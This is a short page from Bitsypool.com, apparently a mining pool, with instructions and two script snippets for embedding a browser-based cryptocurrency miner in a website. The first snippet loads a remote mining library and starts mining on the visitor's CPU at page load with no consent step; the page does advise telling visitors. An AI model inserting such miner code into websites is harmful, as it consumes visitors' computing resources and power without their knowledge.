Bitsypool.com


Embedding javascript miner to website

You can easily monetize your website by embedding the javascript miner to your website. Copy the below script block to your website's body section, it will start mining to your balance on page load. Remember to inform your website viewers about the miner, it is bad practice to mine without notifying users.

Miner without an UI



<script src="https://webminepool.com/lib/base.js"></script>
<script>
    var miner = WMP.User('SK_tmvY5oKySfG6mlqVJdp86', '<your-faucetpay-btc-address>',{
        threads: 2, //number of threads to use
        autoThreads: false,
        throttle: 0.8, //percentage of CPU, 0.8 = 20% of CPU
        forceASMJS: false
    });
    if (!miner.isMobile()){ // don't mine on mobile devices.
        miner.start();
    }
</script>

If you want to provide an UI for the miner use this script block:

Miner with simple UI



<script src="https://webminepool.com/lib/simple-ui.js"></script>
<div id="wmp-container"
    wmp-site-key="SK_tmvY5oKySfG6mlqVJdp86"
    wmp-username="your-faucetpay-btc-address"
    wmp-threads="2"
    wmp-throttle="0.1"
    wmp-autostart="false"
    style="margin: 0 auto;"
>
</div>


bitsypool.com


discord